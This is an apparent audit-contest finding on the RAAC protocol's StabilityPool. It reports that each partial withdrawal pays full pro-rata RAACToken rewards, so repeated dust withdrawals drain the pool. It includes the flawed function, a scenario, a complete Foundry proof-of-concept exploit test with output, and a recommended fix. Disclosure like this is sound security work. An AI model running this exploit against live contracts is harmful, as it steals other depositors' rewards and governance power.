Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Attackers can get most of RAACToken rewards by withdrawing dust amount from StabilityPool multiple times

Summary

When a user withdraws deposited RToken from StabilityPool, the pool transfers corresponding RAACToken rewards to the user. The reward amount is calculated currently deposited RToken pro rata. This means if an attacker withdraws 1 wei from StabilityPool multiple times, they can get nearly the same reward share for all the withdrawals. This way, the attacker gain major portion of RAACToken rewards, and ultimately will gain significant voting power and can disrupt the protocol.

Vulnerability Details

Root Cause Analysis

Users can deposit RToken into StabilityPool to receive RAACToken rewards.

RAACToken is minted from RAACMinter on certain emission rate and transferred to StabilityPool.

Users can claim RAACTokens when they withdraw deposited RToken from StabilityPool.

The vulnerability lies in the fact that how RToken reward amount is calculated:

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
@> return (totalRewards * userDeposit) / totalDeposits;
}

In other words, the user receives totalRewards * userDeposit / totalDeposits when they withdraw from StabilityPool.

Consider the following scenario:

  • StabilityPool currently has 1000 RAACToken, i.e. totalRewards = 1000

  • User has 100 RToken deposits, i.e. userDeposit = 100

  • DETokenhas 1000 total supply i.e. totalDeposits = 1000

  • User withdraws 1 wei from StabilityPool

    • User's raac rewards would be 100 - (1e-18) / 1000 * 1000 = 100 - (1e-18)

    • User receives nearly 100 RAACToken

    • StabilityPool now has 900 RAACToken

  • User withdraws another 1 weifrom StabiltyPool

    • User's raac rewards would be 100 - (2e-18) / 900 * (1000 - 1e-18) = 90

    • User receives nearly 90 RAACToken

    • StabiltyPool now has 810 RAACToken

  • User can repeats dust withdrawal process as many times as they want, and they will always receive around 1/10 of total rewards.

  • After repeating above process for enough times, user can siphon most of the rewards the StabilityPool holds

POC

Scenario

  • Alice has 10000 RToken and deposits 10000 RToken to StabilityPool

  • Eve has 1000 RToken and deposits 1000 RToken to StabilityPool

  • 7 days pass, and StabilityPool accrues some rewards

  • Eve withdraws 1 wei from StabilityPool for 100 times

  • Alice withdraws 5000 RToken from StabiltyPool

  • Eve has most of the RAAC rewards, Alice only receives dust amount of rewards

How to run POC

  • Create a file test/poc.t.sol with the following content and run forge test poc.t.sol -vvv

pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {RToken} from "../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../contracts/core/tokens/DebtToken.sol";
import {DEToken} from "../contracts/core/tokens/DEToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {veRAACToken} from "../contracts/core/tokens/veRAACToken.sol";
import {RAACNFT} from "../contracts/core/tokens/RAACNFT.sol";
import {LendingPool} from "../contracts/core/pools/LendingPool/LendingPool.sol";
import {StabilityPool} from "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import {RAACMinter} from "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import {RAACHousePrices} from "../contracts/core/primitives/RAACHousePrices.sol";
import {crvUSDToken} from "../contracts/mocks/core/tokens/crvUSDToken.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract RAACTest is Test {
RToken rToken;
DebtToken debtToken;
RAACToken raacToken;
DEToken deToken;
veRAACToken veToken;
RAACNFT raacNft;
RAACMinter raacMinter;
crvUSDToken crvUsd;
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACHousePrices housePrice;
address alice = makeAddr("alice");
address eve = makeAddr("eve");
uint256 userAssetAmount = 10_000e18;
uint256 tokenId = 1;
uint256 initialBurnTaxRate = 50;
uint256 initialSwapTaxRate = 100;
uint256 initialPrimeRate = 0.1e27;
function setUp() external {
vm.warp(1e9); // warp time stamp to avoid underflow in RAACMinter constructor
crvUsd = new crvUSDToken(address(this));
housePrice = new RAACHousePrices(address(this));
debtToken = new DebtToken("DebtToken", "DTK", address(this));
rToken = new RToken("RToken", "RTK", address(this), address(crvUsd));
raacNft = new RAACNFT(address(crvUsd), address(housePrice), address(this));
lendingPool = new LendingPool(
address(crvUsd), address(rToken), address(debtToken), address(raacNft), address(housePrice), 0.1e27
);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken = new DEToken("DEToken", "DET", address(this), address(rToken));
raacToken = new RAACToken(address(this), initialSwapTaxRate, initialBurnTaxRate);
stabilityPool = new StabilityPool(address(this));
stabilityPool.initialize(
address(rToken), address(deToken), address(raacToken), address(this), address(crvUsd), address(lendingPool)
);
lendingPool.setStabilityPool(address(stabilityPool));
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(this));
stabilityPool.setRAACMinter(address(raacMinter));
raacToken.setMinter(address(raacMinter));
veToken = new veRAACToken(address(raacToken));
raacToken.manageWhitelist(address(veToken), true);
deToken.setStabilityPool(address(stabilityPool));
}
function testRAACRewards() external {
_mintRToken(alice, 10000e18);
_mintDeToken(alice, 10000e18);
_mintRToken(eve, 1000e18);
_mintDeToken(eve, 1000e18);
skip(7 days);
vm.roll(7 * 7200);
for (uint256 i; i < 100; i++) {
_withdrawDeToken(eve, 1);
}
_withdrawDeToken(alice, 5000e18);
emit log_named_decimal_uint("eve raac balance", raacToken.balanceOf(eve), 18);
emit log_named_decimal_uint("alice raac balance", raacToken.balanceOf(alice), 18);
}
function _mintRToken(address account, uint256 amount) internal {
crvUsd.mint(account, amount);
vm.startPrank(account);
crvUsd.approve(address(lendingPool), amount);
lendingPool.deposit(amount);
vm.stopPrank();
}
function _mintDeToken(address account, uint256 rTokenAmount) internal {
vm.startPrank(account);
rToken.approve(address(stabilityPool), rTokenAmount);
stabilityPool.deposit(rTokenAmount);
vm.stopPrank();
}
function _withdrawDeToken(address account, uint256 deTokenAmount) internal {
vm.startPrank(account);
deToken.approve(address(stabilityPool), deTokenAmount);
stabilityPool.withdraw(deTokenAmount);
vm.stopPrank();
}
}

Console Output

[PASS] testRAACRewards() (gas: 4662175)
Logs:
eve raac balance: 6894.362863760696760103
alice raac balance: 0.454846076134218376

Impact

  • Attackers can steal RAAC rewards from other users

  • Attackers can gain significant voting power and can inflict damage to the protocol with voting system

Tools Used

Manual Review, Foundry

Recommendations

  • RAAC rewards should be calculated like the following:

totalRewards * withdrawnAmount / totalDeposits
  • Already claimed rewards should be deducted from reward amount

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::withdraw can be called with partial amounts, but it always send the full rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!